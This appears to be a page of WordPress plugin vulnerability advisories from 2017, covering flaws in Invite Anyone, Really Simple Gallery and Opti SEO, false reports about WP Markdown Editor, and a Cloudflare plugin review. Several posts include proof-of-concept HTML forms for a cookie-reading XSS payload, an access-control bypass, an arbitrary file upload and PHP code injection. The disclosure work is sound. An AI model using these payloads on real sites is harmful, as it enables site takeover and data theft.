22 Mar

Cross-Site Request Forgery (CSRF)/Cross-Site Scripting (XSS) Vulnerability in Invite Anyone

At the beginning of the year we took a couple of actions to improve our inclusion of vulnerabilities where there has not been a report on the vulnerability released by the discoverer so that we could expand the number of vulnerabilities we include in our dataset. First, we expanded our monitoring of changes made to plugins to spot more of those situations. Second, we started releasing posts with the details of those vulnerabilities, which allows us to provide more information on the vulnerabilities to our customers than we otherwise could. That has also led to us spotting additional vulnerabilities in those plugins, just as we have when reviewing reports for other vulnerabilities.

While putting together a post on a vulnerability that had existed in the plugin Invite Anyone we then spotted another vulnerability, which in part involved a lack of protection against cross-site request forgery (CSRF). After noticing that we did some more checking and found that there was also CSRF vulnerability when saving the plugin’s settings page, which could be used to cause cross-site scripting (XSS) due to a lack of sanitation when doing that. We notified the developer of those issues and they quickly got back to us and have now released version 1.3.16, which resolves the vulnerability.

Prior to 1.3.16 the plugin’s setting pages included a nonce, which is used to prevent CSRF, but when the settings are saved there was no check to make sure a valid one was included. That occurred in the function invite_anyone_admin_panel in the files /admin/admin-panel.php.

In version 1.3.15 the code for saving starts running right after a check to see if a request to save the settings is sent:

36
37
if ( !empty( $_POST['invite-anyone-settings-submit'] ) ) {
	$options = invite_anyone_options();

In 1.3.16 the function check_admin_referer() is run to check if a valid nonce is included in the request before moving on:

36
37
38
39
if ( !empty( $_POST['invite-anyone-settings-submit'] ) ) {
	check_admin_referer( 'invite_anyone-options' );
 
	$options = invite_anyone_options();

Also as of 1.3.15 the function used to sanitize the settings when they were passed through the function register_setting() didn’t so any sanitization:

636
637
638
function invite_anyone_settings_check($input) {
	return $input;
}

In 1.3.16 that function includes relevant sanitization for each of the settings.

Proof of Concept

The following proof of concept will cause an alert box with any accessible cookies to be shown on the Send Invites Tab of a user BuddyPress Profile page, when submitted as an Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin.php?page=invite-anyone" method="POST">
<input type="hidden" name="invite_anyone[default_invitation_subject]" value="<script>alert(document.cookie);</script>">
<input type="submit" name="invite-anyone-settings-submit" value="Save Changes" />
</form>
</body>
</html>

Timeline

  • March 20, 2017 – Developer notified.
  • March 20, 2017 – Developer responds.
  • March 22, 2017 – Version 1.3.16 released, which fixes vulnerability.
22 Mar

Improper Access Control Vulnerability in Invite Anyone

At the beginning of the year we took a couple of actions to improve our inclusion of vulnerabilities where there has not been a report on the vulnerability released by the discoverer so that we could expand the number of vulnerabilities we include in our dataset. First, we expanded our monitoring of changes made to plugins to spot more of those situations. Second, we started releasing posts with the details of those vulnerabilities, which allows us to provide more information on the vulnerabilities to our customers than we otherwise could. That has also led to us spotting additional vulnerabilities in those plugins, just as we have when reviewing reports for other vulnerabilities.

While putting together a post on a vulnerability that had existed in the plugin Invite Anyone we noticed another related vulnerability. The original vulnerability involved a lack of enforcement of an admin set restriction on users setting the subject and message of invite email sent through the plugin. While looking into the details of that vulnerability we noticed that the plugin also didn’t enforce access control restrictions that can be set for sending invite emails through the plugin. While the relevant page for sending emails was not shown to user that should not be able to send them, a user could still send a request to cause those emails to be sent. The sending of emails also lacked protection against cross-site request forgery (CSRF), which would have had the impact of stopping those requests as well.  We notified the developer of those issues and they quickly got back to us and they have now released version 1.3.16, which resolves the vulnerabilities.

The vulnerabilities were fixed by adding the following code to the function invite_anyone_catch_send() in the file /by-email/by-email.php:

423
424
425
426
427
428
429
if ( ! invite_anyone_access_test() ) {
	return;
}
 
if ( ! isset( $_POST['ia-send-by-email-nonce'] ) || ! wp_verify_nonce( wp_unslash( $_POST['ia-send-by-email-nonce'] ), 'invite_anyone_send_by_email' ) ) {
	return;
}

The function invite_anyone_access_test() checks if the user is permitted to send invite emails and the second part of that checks if a valid nonce has been included with the request to send the invite emails (the nonce has been added to the relevant form elsewhere in the code) to prevent CSRF. If either of those checks fail the functions exits and the invite emails are not sent.

Proof of Concept

On the page /wp-admin/admin.php?page=invite-anyone&subpage=access-control set it so that only Administrator-level users are allowed to send invite emails. Then when logged in as a lower level user submit the proof of concept below and the invite email will be sent.

Make sure to replace “[path to WordPress]” with the location of WordPress, “[username] with the username of the user making the request, and “[email address]” with the email address to send the email invite to.

<html>
<body>
<form action="http://[path to WordPress]/members/[username]/invite-anyone/sent-invites/send/" method="POST">
<input type="hidden" name="invite_anyone_email_addresses" value="[email address]">
<input type="hidden" name="invite_anyone_custom_subject" value="An invitation to join the test community.">
<input type="hidden" name="invite_anyone_custom_message" value="You have been invited by test to join the test community.
Visit test's profile at http://localhost/members/test/.">
<input type="hidden" name="invite-anyone-submit" value="Send Invites ">
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • March 20, 2017 – Developer notified.
  • March 20, 2017 – Developer responds.
  • March 22, 2017 – Version 1.3.16 released, which fixes vulnerability.
21 Mar

VulDB Includes False Report of Vulnerability in WordPress Plugin

One of the differences when you get data on vulnerabilities in WordPress plugins you use from us instead of other providers is that we actually make sure that claimed vulnerabilities exist. Being warned about a vulnerability that doesn’t exist obviously isn’t useful, especially if you are told that vulnerability is in the current version of the plugin, which is often the case.

Yesterday we looked an example of just such a situation with the plugin WP Markdown Editor. We mentioned how the WP Scan Vulnerability database, which is the true source of plugin vulnerability data for almost any service or plugin other than ours, includes this vulnerability in their data. They are not alone, as the website VulDB, vuldb.com, also includes it.

That website describes itself as follows:

VulDB is the number 1 vulnerability database documenting more than 96000 vulnerabilities since 1979. A team of experts is looking for newly disclosed vulnerabilities on a daily basis. After the analysis of the technical capabilities the issue is documented in the database. This kind makes it possible for administrators and security experts to deal with the fast moving vulnerability market.

Seeing as the vulnerability doesn’t exist, any analysis they did clearly wasn’t thorough, but their description make it sound like there wasn’t really any analysis done at all (emphasis ours):

A vulnerability was found in WP Markdown Editor Plugin 2.0.3 on WordPress and classified as problematic. This issue affects an unknown function of the component IMG Element Handler. The manipulation with an unknown input leads to a cross site scripting vulnerability (stored). Using CWE to declare the problem leads to CWE-79. Impacted is integrity. An attacker might be able to inject arbitrary html and script code into the web site. This would alter the appearance and would make it possible to initiate further attacks against site visitors.

The weakness was disclosed 03/10/2017. The identification of this vulnerability is CVE-2017-6804 since 03/10/2017. The attack may be initiated remotely. Neither technical details nor an exploit are publicly available. The price for an exploit might be around USD $5k-$25k at the moment (estimation calculated on 03/10/2017).

There is no information about possible countermeasures known. It may be suggested to replace the affected object with an alternative product.

You don’t even need to take our word that the vulnerability doesn’t exist as what they cite as their source states that:

** REJECT ** DO NOT USE THIS CANDIDATE NUMBER. ConsultIDs: none. Reason: This candidate was withdrawn by its CNA. Further investigation showed that it was not a security issue. Notes: none.

21 Mar

Vulnerability Details: Authenticated Arbitrary Email Sending Vulnerability in Invite Anyone

To provide our customers with the best information possible on vulnerabilities that have been in WordPress plugins they use, we create posts, like this one, which include the details of vulnerabilities for which the discoverer has not released a report with those details already. That allows our customers to better understand how the vulnerability had or could have impacted their website.

For existing customers, please log in to your account to view the details of this vulnerability.

If you are not currently a customer, when you sign up now you can try the service for free for the first month (there are a lot of other reason that you will want to sign up beyond access to posts like this one).

If you are a security researcher please contact us to get free access to all of our Vulnerability Details posts.

21 Mar

Vulnerability Details: Authenticated Document Modification Vulnerability in BuddyPress Docs

To provide our customers with the best information possible on vulnerabilities that have been in WordPress plugins they use, we create posts, like this one, which include the details of vulnerabilities for which the discoverer has not released a report with those details already. That allows our customers to better understand how the vulnerability had or could have impacted their website.

For existing customers, please log in to your account to view the details of this vulnerability.

If you are not currently a customer, when you sign up now you can try the service for free for the first month (there are a lot of other reason that you will want to sign up beyond access to posts like this one).

If you are a security researcher please contact us to get free access to all of our Vulnerability Details posts.

20 Mar

WordPress Plugin Security Review: Cloudflare

For our sixth security review of a plugin based on the voting of our customers (we are still waiting to release the results of the fifth until after the developer has a chance to fix the most serious issue found), we reviewed the plugin Cloudflare.

If you are not yet a customer of the service you can currently try it free for your first month and then start suggesting and voting on plugins to get security reviews after your first payment for the service. For those already using the service that haven’t already suggested and voted for plugins you can start doing that here.

The review was done on version 3.2.0 of Cloudflare. We checked for the following issues:

  • Insecure file upload handling (this is the cause of the most exploited type of vulnerability, arbitrary file upload)
  • Deserialization of untrusted data
  • Security issues with functions accessible through WordPress’ AJAX functionality (those are a common source of disclosed vulnerabilities these days)
  • Persistent cross-site scripting (XSS) vulnerabilities in publicly accessible portions of the plugin
  • Cross-site request forgery (CSRF) vulnerabilities in the admin portion of plugins
  • SQL injection vulnerabilities (the code that handles requests to the database)
  • Reflected cross-site scripting (XSS) vulnerabilities
  • Lack of protection against unintended direct access of PHP files

Results

During the review we only found one minor issue:

Lack of Protection Against Direct Access to Files

Numerous .php files that look like they are not intended to be accessed directly are lacking code at the beginning of the file to restrict direct access to the files. In the files we looked over we didn’t see anything that could be exploited due to that.

20 Mar

False Vulnerability Report: Store XSS Vulnerability in WP Markdown Editor

As part of our cataloging the vulnerabilities in WordPress plugins for our service we come across false reports of vulnerabilities from time to time. So that others don’t spend their time looking over these as well, we post our findings on them. The data on these false reports is also included in our service’s data.

When it comes to false reports of vulnerabilities in WordPress plugins some of them don’t set off any red-flags until you start to look closely at them. Others, like a recent report claiming there was persistent cross-site scripting (XSS) in the plugin WP Markdown Editor set off multiple red-flags with the just a quick glance, though they still require being fully checked as some reports of actual vulnerabilities end up being quite of poor quality.

The first red-flag in the report was that there was no code or other detailed information provided; instead the report consisted entirely of a small amount of text and three screenshots. If the person behind the report hadn’t looked at the underlying code, they could have missed important information that would have let them understand if a vulnerability actually existed or not.

That issue is particularly acute in this case because the screenshots showed saving JavaScript code on the page for adding a new post to WordPress and being saved. Normally both Editor and Administrator-level users are allowed to do just that due to having the unfiltered_html capability, so the action being taken is also a red-flag that this might be false.

To test out the vulnerability we first tried taking the actions show in the report logged in as an Author-level user. We entered the code on a new post as suggested in the report and clicked the “Toggle Preview” button and the JavaScript ran, which really isn’t a vulnerability (as we will come back to in a bit). Since this is supposed to be a persistent XSS vulnerability this JavaScript code needs to persist when saving the post, but it didn’t. It didn’t even get displayed when previewing the post normally.

We then tried everything again but with an Administrator-level user. Unlike the previous instance the JavaScript remained when saving the post. That would indicate that the plugin was not actually permitting persistent XSS, as Administrator-level users, unlike Author-level users, should be able to do that and the reporter likely did their testing using a user with the unfiltered_html capability.

As confirmation of that we tried things again with an Editor-level user that had the unfiltered_html capability removed and the JavaScript was not saved.

So there isn’t a persistent XSS vulnerability, but what about the JavaScript code running for the Author-level user when clicking the “Toggle Preview” button. Seeing as the user would be taking the actions to cause that it would probably be classified as self XSS, which isn’t a vulnerability, but a social engineering attack because you would need to trick someone into doing that. Is that a concern? Not really, since the same exact thing could be done by getting them to enter JavaScript code into their web browser’s console.

WPScan Spreads a False Report

While we actually test out vulnerabilities before adding them to our data, so we avoid including false reports like this, other data sources clearly do not. Take the WPScan Vulnerability Database, which is the true source of WordPress plugin vulnerability data for almost any service or plugin other than ours that provides that type of data,  it has this false vulnerability in their data set:

That is despite those major red flags that the vulnerability likely didn’t exist.

Why Was The Plugin Removed From the Plugin Directory?

If you visiting the page for the plugin in the Plugin Directory now you will get this as the plugin has been removed:

As of a couple of weeks ago it was there. Was it removed due to the Plugin Directory incorrectly believing there was vulnerability in it? Maybe, but it could also be something else. Unfortunately the people behind the Plugin Directory continue to keep people in the dark about removed plugins.

13 Mar

Cross-Site Request Forgery (CSRF)/Arbitrary File Upload Vulnerability in Really Simple Gallery

While looking in to a report of a reflected cross-site scripting vulnerability in the plugin Really Simple Gallery we noticed that there is also cross-site request forgery (CSRF)/arbitrary file upload vulnerability in it.

When uploading a file through the plugin’s settings page there is no check for a valid nonce to protect against CSRF, as seen in the file /reallysimplegallery.php starting on line 90:

 if(isset($_POST["addImage"])){
 $target_path = get_option("simple_gallery_uploads");
 $target_path = $target_path . basename( $_FILES['uploadedfile']['name']); 
 
 echo '<div id="setting-error-settings_updated" class="updated settings-error"><p><strong>';

 if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {

While the file being uploaded is supposed to be an image, there is no restriction on what type of file can be uploaded.

We couldn’t find a contact for the developer, so we are notifying the WordPress.org Plugin Directory of the issue.

Proof of Concept

The following proof of concept will cause the chosen file to be uploaded to the directory /wp-content/plugins/really-simple-gallery/uploads/ on the website, when logged in as an Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/options-general.php?page=my-unique-identifier" method="POST" enctype="multipart/form-data">
<input type="file" name="uploadedfile" />
<input type="submit" name="addImage" value="Submit" />
</form>
</body>
</html>

Timeline

  • 3/13/2017 – WordPress.org Plugin Directory notified.
  • 3/13/2017 – Removed from WordPress.org Plugin Directory.
06 Mar

Vulnerability Details: Authenticated Arbitrary File Upload Vulnerability in Profile Builder

To provide our customers with the best information possible on vulnerabilities that have been in WordPress plugins they use, we create posts, like this one, which include the details of vulnerabilities for which the discoverer has not released a report with those details already. That allows our customers to better understand how the vulnerability had or could have impacted their website.

For existing customers, please log in to your account to view the details of this vulnerability.

If you are not currently a customer, when you sign up now you can try the service for free for the first month (there are a lot of other reason that you will want to sign up beyond access to posts like this one).

If you are a security researcher please contact us to get free access to all of our Vulnerability Details posts.

03 Mar

Vulnerability Details: Remote Code Execution (RCE) Vulnerability in Opti SEO

Back in October we discussed our spotting a probe for usage of a group of intentionally malicious plugins that someone had created several years ago and last month we discussed another plugin that looks to be from the set of plugins. We recently have been seeing a lot of requests probing for usage of those plugins, though usually probing for only one of them instead of large group of them. We also recently had a request for yet another plugin that looks to be part of that set, Opti SEO, which like the others contains a remote code execution (RCE) vulnerability.

In the /install.php the contents of the POST input “newins” is placed in the file /installed.php, which due to its .php extension will allow PHP code placed in the file to be executed when requested:

2
3
4
5
6
7
8
9
session_start();
$opseoinstall = $_POST['newins'];
$fp = fopen($_SERVER['DOCUMENT_ROOT'] . '/wp-content/plugins/option-seo/installed.php', 'w');
$opseoinstall = str_replace('\\', '', $opseoinstall);
$opseoinstall = htmlentities($opseoinstall);
fwrite($fp, html_entity_decode($opseoinstall));
fclose($fp);
echo $opseoinstall;

As with other plugins where we see exploitation attempts we are adding this vulnerability to the free data that comes with our service’s companion plugin, so you can check if you are using any of this set of plugins by simply installing that plugin.

Proof of Concept

The following proof of concept will place the specified PHP code in to the file installed.php in the directory /wp-content/plugins/option-seo/.

Make sure to replace “[path to WordPress]” with the location of WordPress and “[PHP code]” with the PHP code you want in the uploaded file.

<html>
<body>
<form action="http://[path to WordPress]/wp-content/plugins/option-seo/install.php" method="POST">
<input type="hidden" name="newins" value="[PHP code]" />
<input type="submit" value="Submit" />
</form>
</body>
</html>